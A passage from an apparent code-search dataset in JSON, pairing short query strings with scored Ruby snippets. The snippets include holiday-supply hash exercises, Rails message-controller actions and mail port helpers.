"text": "def all_supplies_in_holidays(holiday_hash)\n holiday_hash.each do |season, holidays|\n puts season.to_s.capitalize! + \":\"\n holidays.each do |holiday, items|\n split_holidays = holiday.to_s.split(\"_\")\n split_holidays.each do |hol_word|\n hol_word.capitalize!\n end\n if items.length == 1\n puts \" \" + split_holidays.join(\" \") + \": \" + items[0]\n elsif items.length > 1\n puts \" \" + split_holidays.join(\" \") + \": \" + items[0] + \", \" + items[1]\n end\n end\n end\nend",
"title": ""
},
{
"docid": "cbd6ed39edc1589479086ff2f4720c52",
"score": "0.5864964",
"text": "def holiday_with_bbqs hash\n bbq_holiday = []\n\thash.each do |season, holiday_hash|\n\t\tholiday_hash.each do |holiday, array|\n\t\t\tif array.include? \"BBQ\"\n\t\t\t\tbbq_holiday << holiday\n\t\t\tend\n\t\tend\n\tend\n\tbbq_holiday \nend",
"title": ""
},
{
"docid": "dd780fab199f4cd36d8727ef460c767e",
"score": "0.5820499",
"text": "def add_supply_to_holidays(holiday_hash, supply)\n holiday_hash.each do |season, holidays|\n holidays.each do |holiday, supplies| \n supplies << supply \n end \n end \nend",
"title": ""
},
{
"docid": "4dd207d6530eed22b21ed136ff47e804",
"score": "0.5809189",
"text": "def all_supplies_in_holidays(holiday_hash)\n holiday_hash.each do |season, data|\n format_season = season.to_s.capitalize() + \":\" # => \"Winter:\"\n puts format_season\n data.each do |holiday, supplies|\n format_holiday = holiday.to_s.split(\"_\").map {|word| word.capitalize }.join(\" \") + \":\"\n puts \" #{format_holiday} #{supplies.join(\", \")}\"\n end\n end\nend",
"title": ""
},
{
"docid": "b212f782d864a2e6b05ffbc0eae62760",
"score": "0.5791199",
"text": "def add_supply_to_winter_holidays(holiday_hash, supply)\n # holiday_hash is identical to the one above\n # add the second argument, which is a supply, to BOTH the\n # Christmas AND the New Year's arrays\n # holiday_hash[:winter].each do |holiday, items|\n # items << supply \n # end \n holiday_hash[:winter].each do |holiday, supplies|\n supplies << supply \n end\nend",
"title": ""
},
{
"docid": "52041f7e59515618b243fc6086dc3192",
"score": "0.577666",
"text": "def all_supplies_in_holidays(holiday_hash)\n holiday_hash.each do |key, value|\n puts \"#{key.capitalize}:\"\n value.each do |key, value|\n puts \" \" + key.to_s.split(\"_\").each {|i| i.capitalize!}.join(\" \") +\":\" + \" \" + value.join(\", \")\n end\n end\nend",
"title": ""
},
{
"docid": "2bdbf4f61980115a828ca718a990ae23",
"score": "0.57602346",
"text": "def consolidate_week \n \t#grab last 7 days\n \trefDay = self.energy_data.select(\"day\").last\n \trefDay = refDay.day\n \trefMonth = self.energy_data.select(\"month\").last\n \trefMonth = refMonth.month\n \tcount = (0..6).to_a\n \t@dateCount = Array.new\n \t@daySum = Array.new\n \tsubCount = 0\n\n \tcount.each do |var|\n \t\tif (refDay - subCount) > 0\n \t\t\t@dateCount << [refDay - subCount, refMonth]\n \t\telse\n \t\t\trefDay = 31\n \t\t\trefMonth = refMonth - 1\n \t\t\tsubCount = 0\n \t\t\t@dateCount << [refDay - subCount, refMonth]\n \t\tend\n \t\tsubCount = subCount + 1\n \tend\n\n \tarrayCount = 0\n\n \t@dateCount.each do |day, month|\n \t\t@daySum[arrayCount] = [arrayCount, self.energy_data.where(\"day=#{day} AND month=#{month}\").sum(\"power\")]\n \t\tarrayCount = arrayCount + 1\n \tend\n\n \treturn @dateCount, @daySum\n end",
"title": ""
},
{
"docid": "f23dae3dad85e4bfb4f962377d9e3104",
"score": "0.5752995",
"text": "def all_supplies_in_holidays(holiday_hash)\n holiday_hash.keys.each do |season|\n puts \"#{season.capitalize}:\"\n holiday_hash[season].each do |holiday, supply|\n supplies = supply.join(\", \")\n puts \" #{holiday.to_s.gsub(\"_\",\" \").split.map(&:capitalize).join(' ')}: #{supplies}\"\n # thank you, Stack Overflow! I have no real idea what &:capitalize does yet...\n # is there a way to replace a letter with a capitalized letter? \n\n # or use collect/map as they will retrun modified versions of the array\n # normalzied_holiday_name = holiday.to_s.split(\"_\")\n # collect {|w| w.capitalize}\n # join(\" \")\n # puts \" formatted output\"\n end\n end\nend",
"title": ""
},
{
"docid": "91776e44c027dc0e465f2f7f9e95170b",
"score": "0.5716154",
"text": "def technicians_present_today()\n wday = Time.now.wday\n result = case wday\n when 0..1 then [\"2\",\"1\"]\n when 2..3 then [\"3\",\"2\"]\n when 4 then [\"1\",\"3\",\"2\"]\n when 5..6 then [\"3\",\"1\"]\n end\n return result\nend",
"title": ""
},
{
"docid": "49f831b74380d50baab0d1b610426f77",
"score": "0.5610429",
"text": "def add_supply_to_winter_holidays(holiday_hash, supply)\n # holiday_hash is identical to the one above\n # add the second argument, which is a supply, to BOTH the Christmas AND the New Year's arrays\n\n winter = holiday_hash[:winter]\n\n winter.each do |holiday|\n holiday.each do\n holiday[1] << \"Balloons\"\n end\n end\nend",
"title": ""
},
{
"docid": "ec5df2330e615af2239ce1da79f1cb9a",
"score": "0.5568521",
"text": "def all_holidays_with_bbq(holiday_hash)\n wrong_array = []\n results_array = []\n holiday_hash.each do |season, event|\n event.each do |key, value|\n if value.include?(\"BBQ\")\n results_array << key\n else \n wrong_array << key\n end \n end\nend\nresults_array\nend",
"title": ""
},
{
"docid": "df4fd08ed84fee5ee7f7a90ee21a4f92",
"score": "0.55639553",
"text": "def second_supply_for_fourth_of_july(holiday_supplies)\n holiday_supplies[:summer][:fourth_of_july][1]\n # puts second_supply_for_fourth_of_july\n end",
"title": ""
}
] |
2aab7252afbbcaa17b052dec26fd8519 | GET message_url(:id => 1) | [
{
"docid": "063fcb140371701984b13d8410e88c72",
"score": "0.0",
"text": "def show\n # find and return a specific message\n end",
"title": ""
}
] | [
{
"docid": "555dc08870d101d10ac7910b164a1fd9",
"score": "0.7877094",
"text": "def url; TelerivetBridge.url_for_message_id(id); end",
"title": ""
},
{
"docid": "5d889592da56fad44380112da9f7221d",
"score": "0.7638446",
"text": "def view\n @message = Message.find(params[:id].to_s)\n end",
"title": ""
},
{
"docid": "4864593b41e8b84dbb8f87a238b84244",
"score": "0.72150594",
"text": "def show\n @message = Message.find(params[:id])\n end",
"title": ""
},
{
"docid": "4864593b41e8b84dbb8f87a238b84244",
"score": "0.72150594",
"text": "def show\n @message = Message.find(params[:id])\n end",
"title": ""
},
{
"docid": "4864593b41e8b84dbb8f87a238b84244",
"score": "0.72150594",
"text": "def show\n @message = Message.find(params[:id])\n end",
"title": ""
},
{
"docid": "95528387716fd3c92cdcad642374d295",
"score": "0.71738845",
"text": "def show\n #@message = Message.find(params[:id])\n end",
"title": ""
},
{
"docid": "951800ccd5761ed3eb4d5c3ff36a8c67",
"score": "0.712993",
"text": "def show\r\n @message = message.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @message }\r\n end\r\n end",
"title": ""
},
{
"docid": "1f84fa1233c77e69b1ccd9e28709c4e1",
"score": "0.7080843",
"text": "def show\n @message = Message.find_by id: params[:id]\n\n respond_to do |format|\n format.html {}\n format.json { render json: @message }\n end\n\n end",
"title": ""
},
{
"docid": "9687a0537af6762dc70ad0933c11bf4e",
"score": "0.7075504",
"text": "def show\n @message = Message.find_by(url: params[:id])\n @message = Message.find(params[:id]) unless @message\n @previous_message = @message.previous\n @next_message = @message.next\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @message }\n end\n end",
"title": ""
},
{
"docid": "0f2d3a4bdd8d9c0d1aebf805c2f11e74",
"score": "0.7061914",
"text": "def show\n \t\t@message = Message.find(params[:id])\n\tend",
"title": ""
},
{
"docid": "601ed3ae324f6a66cd604c3159b05548",
"score": "0.70558393",
"text": "def show\n # puts params\n @message = Message.where(id: params[:id])\n if @message.exists?\n render json: @message, status: :ok\n else\n render json: {status: \"error\", message: \"Can't find message\"}, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "46771c2f2f97d72280cb514615a14ffc",
"score": "0.7053268",
"text": "def fetch_message\n @message = Message.find_by_id(params[:id])\n end",
"title": ""
},
{
"docid": "fe669b04b90a46ed50f5f492f296be8e",
"score": "0.6986512",
"text": "def show\n @message = @user.messages.find(params[:id])\n end",
"title": ""
},
{
"docid": "60aa07ba18cdd5cb89d6b048c7b9fcb7",
"score": "0.69770086",
"text": "def show\n @message = @user.messages.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @message }\n end\n end",
"title": ""
},
{
"docid": "5703ccfb9c814220af7ac5e4a28c7bbe",
"score": "0.69686806",
"text": "def show\n @message = Message.find(params[:id])\n respond_to do |format|\n format.html { render :show }\n format.json { render json: @message}\n end\n end",
"title": ""
},
{
"docid": "4474b0856560a167783c7aa4321b0b4d",
"score": "0.6966919",
"text": "def full_url_for(message) \n url_for :controller => 'messages', :action => 'show', :id => message.id, :only_path => false\n end",
"title": ""
},
{
"docid": "7106eb8238030fb0e5e14c6828587bb4",
"score": "0.6951142",
"text": "def show\n @message = Message.find(params[:id])\n\n render json: @message\n end",
"title": ""
},
{
"docid": "7106eb8238030fb0e5e14c6828587bb4",
"score": "0.6951142",
"text": "def show\n @message = Message.find(params[:id])\n\n render json: @message\n end",
"title": ""
},
{
"docid": "7106eb8238030fb0e5e14c6828587bb4",
"score": "0.6951142",
"text": "def show\n @message = Message.find(params[:id])\n\n render json: @message\n end",
"title": ""
},
{
"docid": "dd4ee6557cc4404a4c0212bf2f70f49e",
"score": "0.69497377",
"text": "def show\n render :json => Message.find(params[:id])\n end",
"title": ""
},
{
"docid": "d327b34402dd1a391d07662379fec215",
"score": "0.6949163",
"text": "def show\n message = Message.find_by(id: params[:id])\n render json: message\n end",
"title": ""
},
{
"docid": "83160aa83077860adcf302e6cac74ca9",
"score": "0.6930921",
"text": "def show\n @message = Message.find(params[:id])\n\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"title": ""
},
{
"docid": "382dfefeb36bfd8dd92c7d2553410116",
"score": "0.69083905",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"title": ""
},
{
"docid": "382dfefeb36bfd8dd92c7d2553410116",
"score": "0.69083905",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"title": ""
},
{
"docid": "382dfefeb36bfd8dd92c7d2553410116",
"score": "0.69083905",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"title": ""
},
{
"docid": "382dfefeb36bfd8dd92c7d2553410116",
"score": "0.69083905",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"title": ""
},
{
"docid": "382dfefeb36bfd8dd92c7d2553410116",
"score": "0.69083905",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"title": ""
},
{
"docid": "382dfefeb36bfd8dd92c7d2553410116",
"score": "0.69083905",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"title": ""
},
{
"docid": "382dfefeb36bfd8dd92c7d2553410116",
"score": "0.69083905",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"title": ""
},
{
"docid": "382dfefeb36bfd8dd92c7d2553410116",
"score": "0.69083905",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"title": ""
},
{
"docid": "382dfefeb36bfd8dd92c7d2553410116",
"score": "0.69083905",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"title": ""
},
{
"docid": "382dfefeb36bfd8dd92c7d2553410116",
"score": "0.69083905",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"title": ""
},
{
"docid": "382dfefeb36bfd8dd92c7d2553410116",
"score": "0.69083905",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"title": ""
},
{
"docid": "382dfefeb36bfd8dd92c7d2553410116",
"score": "0.69083905",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"title": ""
},
{
"docid": "382dfefeb36bfd8dd92c7d2553410116",
"score": "0.69083905",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"title": ""
},
{
"docid": "382dfefeb36bfd8dd92c7d2553410116",
"score": "0.69083905",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"title": ""
},
{
"docid": "382dfefeb36bfd8dd92c7d2553410116",
"score": "0.69083905",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"title": ""
},
{
"docid": "382dfefeb36bfd8dd92c7d2553410116",
"score": "0.69083905",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"title": ""
},
{
"docid": "382dfefeb36bfd8dd92c7d2553410116",
"score": "0.69083905",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"title": ""
},
{
"docid": "382dfefeb36bfd8dd92c7d2553410116",
"score": "0.69083905",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"title": ""
},
{
"docid": "4bfe8529a1b3ffaa349306800da080a1",
"score": "0.6896054",
"text": "def show \n message = Message.find(params[:id])\n render json: message\n end",
"title": ""
},
{
"docid": "d9e19027d5784f1e96a56741eb98f32c",
"score": "0.68931997",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @message }\n end\n end",
"title": ""
},
{
"docid": "d9e19027d5784f1e96a56741eb98f32c",
"score": "0.68931997",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @message }\n end\n end",
"title": ""
},
{
"docid": "d9e19027d5784f1e96a56741eb98f32c",
"score": "0.68931997",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @message }\n end\n end",
"title": ""
},
{
"docid": "d9e19027d5784f1e96a56741eb98f32c",
"score": "0.68931997",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @message }\n end\n end",
"title": ""
},
{
"docid": "7ebea835ee86ca17bfa4e2cd143ae227",
"score": "0.68780977",
"text": "def direct_messages_show(id)\n @req.get(\"/1.1/direct_messages/show.json\", :id => id)\n end",
"title": ""
},
{
"docid": "7c2151f8a21a7af5f1a76df2b78d453f",
"score": "0.68554044",
"text": "def show\n #@message = Message.find(params[:id])\n redirect_to messages_url\n #respond_to do |format|\n #format.html # show.html.erb\n #format.json { render json: @message }\n #end\n end",
"title": ""
},
{
"docid": "df2045abd8b2acaabd96de537702de3a",
"score": "0.6852833",
"text": "def show\r\n\t\t@message = Message.find(params[:id])\r\n\t\trender :json => {:message => @message}.to_json()\r\n\tend",
"title": ""
},
{
"docid": "01d640eaab3a1942727bd3c46448dee5",
"score": "0.6851902",
"text": "def show\n msg = @user.messages.find(params[:id])\n if msg.nil?\n render json_status_response(404, \"Message not found\")\n return\n end\n\n render :status => 200,\n :json => msg_as_hash(msg).merge(status: 200)\n end",
"title": ""
},
{
"docid": "63da6804ee4205d9de837bb25c20146e",
"score": "0.68437713",
"text": "def get_message_by_id(id)\n require_relative 'message'\n Message.new(@api, @api.do_request(\"GET\", get_base_api_path() + \"/messages/#{id}\"))\n end",
"title": ""
},
{
"docid": "f36b108a09402628aa23af0c60e2caf2",
"score": "0.68432474",
"text": "def show\n @message = current_user.messages.find params[:id]\n end",
"title": ""
},
{
"docid": "63da6804ee4205d9de837bb25c20146e",
"score": "0.68425775",
"text": "def get_message_by_id(id)\n require_relative 'message'\n Message.new(@api, @api.do_request(\"GET\", get_base_api_path() + \"/messages/#{id}\"))\n end",
"title": ""
},
{
"docid": "63da6804ee4205d9de837bb25c20146e",
"score": "0.68425775",
"text": "def get_message_by_id(id)\n require_relative 'message'\n Message.new(@api, @api.do_request(\"GET\", get_base_api_path() + \"/messages/#{id}\"))\n end",
"title": ""
},
{
"docid": "00b15452e4316c59516a6df8548a56df",
"score": "0.6826117",
"text": "def show\n @message = Message.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @message }\n end\n end",
"title": ""
},
{
"docid": "b6a88fb471e41dd40aae95a97f6fd1cb",
"score": "0.68259704",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"title": ""
},
{
"docid": "4152438a3d6f76caa4f20bdeb0e56da0",
"score": "0.679246",
"text": "def show\n @message_set = MessageSet.find_by(url: params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @message_set }\n end\n end",
"title": ""
},
{
"docid": "9121204cea2c2a0919871cec19b69ac2",
"score": "0.67878777",
"text": "def show\r\n @message = ChatMessage.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.xml { render :xml => @message }\r\n end\r\n end",
"title": ""
},
{
"docid": "767fe71d2f7c5e0577cbcd0a9fcee510",
"score": "0.67761797",
"text": "def show\n @message = Message.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @message }\n end\n end",
"title": ""
},
{
"docid": "05ae1299b2a6b3a20b9373eee0d9d7ca",
"score": "0.67532176",
"text": "def show\n @message = current_user.messages.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @message }\n end\n end",
"title": ""
},
{
"docid": "2e564ce3d49e2fa5a1f6cd965353d964",
"score": "0.67375517",
"text": "def show\n @message = @course.messages.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @message }\n end\n end",
"title": ""
},
{
"docid": "583503392b6de95f980316674d2735fc",
"score": "0.67315924",
"text": "def show\n message = Message.find_by rsaid: params[:id], id: params[:msgid];\n respond_to do |format|\n format.json {render json: {'message' => message.message}}\n end\n end",
"title": ""
},
{
"docid": "92dcca8dc47d70523a69bdfc5f7b7c41",
"score": "0.6729359",
"text": "def show\n # @message = Message.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n end\n end",
"title": ""
},
{
"docid": "5be4fb44fb98c495c4e5f5da851436fe",
"score": "0.670845",
"text": "def show\n @message = Message.find(params[:id])\n respond_with @message\n end",
"title": ""
},
{
"docid": "a12c61b3b3c265e07d2d0d910c485462",
"score": "0.6703214",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message.json_string }\n end\n end",
"title": ""
},
{
"docid": "463aacc5c76aaf8b720b2b505b1d554a",
"score": "0.6701294",
"text": "def show\n @message = Message.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @message }\n end\n end",
"title": ""
},
{
"docid": "3ad986b14c124d430afb2c1ef3a297f7",
"score": "0.6700693",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @message }\n end\n end",
"title": ""
},
{
"docid": "3ad986b14c124d430afb2c1ef3a297f7",
"score": "0.6700693",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @message }\n end\n end",
"title": ""
},
{
"docid": "3ad986b14c124d430afb2c1ef3a297f7",
"score": "0.6700693",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @message }\n end\n end",
"title": ""
},
{
"docid": "3ad986b14c124d430afb2c1ef3a297f7",
"score": "0.6700693",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @message }\n end\n end",
"title": ""
},
{
"docid": "3ad986b14c124d430afb2c1ef3a297f7",
"score": "0.6700693",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @message }\n end\n end",
"title": ""
},
{
"docid": "3ad986b14c124d430afb2c1ef3a297f7",
"score": "0.6700693",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @message }\n end\n end",
"title": ""
},
{
"docid": "3ad986b14c124d430afb2c1ef3a297f7",
"score": "0.6700693",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @message }\n end\n end",
"title": ""
},
{
"docid": "3ad986b14c124d430afb2c1ef3a297f7",
"score": "0.6700693",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @message }\n end\n end",
"title": ""
},
{
"docid": "3ad986b14c124d430afb2c1ef3a297f7",
"score": "0.6700693",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @message }\n end\n end",
"title": ""
},
{
"docid": "3ad986b14c124d430afb2c1ef3a297f7",
"score": "0.6700693",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @message }\n end\n end",
"title": ""
},
{
"docid": "3ad986b14c124d430afb2c1ef3a297f7",
"score": "0.6700693",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @message }\n end\n end",
"title": ""
},
{
"docid": "3ad986b14c124d430afb2c1ef3a297f7",
"score": "0.6700693",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @message }\n end\n end",
"title": ""
},
{
"docid": "3ad986b14c124d430afb2c1ef3a297f7",
"score": "0.6700693",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @message }\n end\n end",
"title": ""
},
{
"docid": "3ad986b14c124d430afb2c1ef3a297f7",
"score": "0.6700693",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @message }\n end\n end",
"title": ""
},
{
"docid": "3ad986b14c124d430afb2c1ef3a297f7",
"score": "0.6700693",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @message }\n end\n end",
"title": ""
},
{
"docid": "3ad986b14c124d430afb2c1ef3a297f7",
"score": "0.6700693",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @message }\n end\n end",
"title": ""
},
{
"docid": "3fd78f85b839a4d2155860b52a71d3ed",
"score": "0.6682312",
"text": "def show\n @message = Admin::Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @message }\n end\n end",
"title": ""
},
{
"docid": "08dcc5cc6c7b7c1ba3998e248644bff8",
"score": "0.6681809",
"text": "def url\n\t\t\t@msg\n\t\tend",
"title": ""
},
{
"docid": "32056de5cf8dcf8d16efb78e93f02ec0",
"score": "0.66616184",
"text": "def show\n @msg = Msg.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @msg }\n end\n end",
"title": ""
},
{
"docid": "ea7086ff90058b90c171a0d36a56b3ff",
"score": "0.6599226",
"text": "def show\n @message = User.find(params[:id]).messages\n\n render json: @message\n end",
"title": ""
},
{
"docid": "dbc96cdcfe96d0a5cfff134d321e521f",
"score": "0.65960896",
"text": "def messages\n get_data('/messages')\n end",
"title": ""
},
{
"docid": "f46c09cb8b76e8c06780ae147357a1ad",
"score": "0.659421",
"text": "def incoming_message_url(incoming_message)\n return request_url(incoming_message.info_request)+\"#incoming-\"+incoming_message.id.to_s\n end",
"title": ""
},
{
"docid": "2c10036e2f8ffa6eb297886a83844189",
"score": "0.657115",
"text": "def show\n @message = current_user.read_message params[:id]\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @message }\n end\n end",
"title": ""
},
{
"docid": "0036aa1aa4ca40eb741a872b9794f65e",
"score": "0.6552232",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.xml { render :xml => @message }\n end\n end",
"title": ""
},
{
"docid": "eace621a523bcbf3e044d8575b9b3c58",
"score": "0.65475583",
"text": "def url\n \"#{site.distant_url}/bureau/#{frigo.owner_id}/frigo#mess_#{id}\"\n end",
"title": ""
},
{
"docid": "2fe713636a8cb39a8f3ef269bf118008",
"score": "0.65413934",
"text": "def show\n message = Message.find(params[:id])\n if message.present?\n render json: {\n message_status: message.status\n }\n else\n render_error_msg(\"No message found for message_id (#{params[:id]})\")\n end\n end",
"title": ""
},
{
"docid": "5fbc5e7c84b292b4bb49b77054e95fa4",
"score": "0.65398866",
"text": "def show\n @message = @logged_in_user.line.messages.find(params[:id])\n\n @page_title = \"Show Message\"\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @message }\n end\n end",
"title": ""
},
{
"docid": "fee06eb66f20e8a3addb6e248ff6485f",
"score": "0.65369016",
"text": "def show\n redirect_to user_messages_path(params[:user_id])\n end",
"title": ""
},
{
"docid": "07dbb5eceba39e2660f73ca8c5ef3886",
"score": "0.653308",
"text": "def get_view_message(id,\r\n accept)\r\n # Prepare query url.\r\n _path_url = '/message/view'\r\n _query_builder = Configuration.get_base_uri\r\n _query_builder << _path_url\r\n _query_builder = APIHelper.append_url_with_query_parameters(\r\n _query_builder,\r\n {\r\n 'id' => id\r\n },\r\n array_serialization: Configuration.array_serialization\r\n )\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # Prepare headers.\r\n _headers = {\r\n 'Accept' => accept\r\n }\r\n\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.get(\r\n _query_url,\r\n headers: _headers\r\n )\r\n OAuth2.apply(_request)\r\n _context = execute_request(_request)\r\n validate_response(_context)\r\n\r\n # Return appropriate response type.\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body) unless\r\n _context.response.raw_body.nil? ||\r\n _context.response.raw_body.to_s.strip.empty?\r\n decoded\r\n end",
"title": ""
},
{
"docid": "d12d69db09d80a28dedac7abba2cd496",
"score": "0.65325505",
"text": "def find_message\n @message = @conversation.messages.find params[:id]\n end",
"title": ""
},
{
"docid": "4f343a77952cdd17cb6a030bcfe8a1db",
"score": "0.6512268",
"text": "def get(niUri, msgId, loc=nil)\n sendReq(GET, niUri, msgId, {})\n end",
"title": ""
},
{
"docid": "b93b573f8c2256c61ef433ecfb730cf2",
"score": "0.65095997",
"text": "def get_message (queue, message_id)\n\n queue = resolve_queue(queue)\n\n path = \"#{queue.path}/#{message_id}\"\n\n begin\n doc = do_action :get, queue.host, path\n Message.new(queue, doc.root.elements[1])\n rescue Exception => e\n #puts e.message\n return nil if e.message.match \"^404 .*$\"\n raise e\n end\n end",
"title": ""
},
{
"docid": "684d81b19ae7e434950fea89c26d95a2",
"score": "0.64976436",
"text": "def show\n# @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @message }\n end\n end",
"title": ""
},
{
"docid": "2e9d21208e12a55f413fd4e33ffff5f6",
"score": "0.6496795",
"text": "def show\n @message = Message.read(params[:id], @user)\n rescue ActiveRecord::RecordNotFound\n render :partial => 'not_found'\n end",
"title": ""
},
{
"docid": "8265e968ad1aa4e4ab696ba7b69ce92f",
"score": "0.64951056",
"text": "def show\n @message = Message.find(params[:id])\n @user = User.find_by_id(@message.sender_id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"title": ""
},
{
"docid": "0b751561388766e8ade6fc55d636dbf4",
"score": "0.6486764",
"text": "def show\n @message = current_user.profile.received_messages.find(params[:id])\n end",
"title": ""
}
] |
7952e5b7b9387be2aadba34507c3d70b | The default port for POP3 connections, port 110 source://netpop//lib/net/pop.rb210 | [
{
"docid": "a8d4a7c8fd444b33172e87e0fcaec1e3",
"score": "0.8339266",
"text": "def default_pop3_port; end",
"title": ""
}
] | [
{
"docid": "c8d63493f309b75f14c68a489982885c",
"score": "0.703744",
"text": "def default_imap_port; end",
"title": ""
},
{
"docid": "c8d63493f309b75f14c68a489982885c",
"score": "0.703744",
"text": "def default_imap_port; end",
"title": ""
},
{
"docid": "f4b648e2f707af27f7ddc6acd09b3870",
"score": "0.6966972",
"text": "def default_pop3s_port; end",
"title": ""
},
{
"docid": "b8a9c7c64f1bdc6663adbd06ab41e92d",
"score": "0.6889087",
"text": "def default_port\n 2878\n end",
"title": ""
},
{
"docid": "a3a5a77e4b3e6497da94c0ef25221b3c",
"score": "0.67464185",
"text": "def port\n @account.incoming_server.port || ssl? ? 993 : 143\n end",
"title": ""
},
{
"docid": "5476cfd68196dd9e743c1c8c6853f5cc",
"score": "0.67264855",
"text": "def default_port; end",
"title": ""
},
{
"docid": "5476cfd68196dd9e743c1c8c6853f5cc",
"score": "0.67264855",
"text": "def default_port; end",
"title": ""
},
{
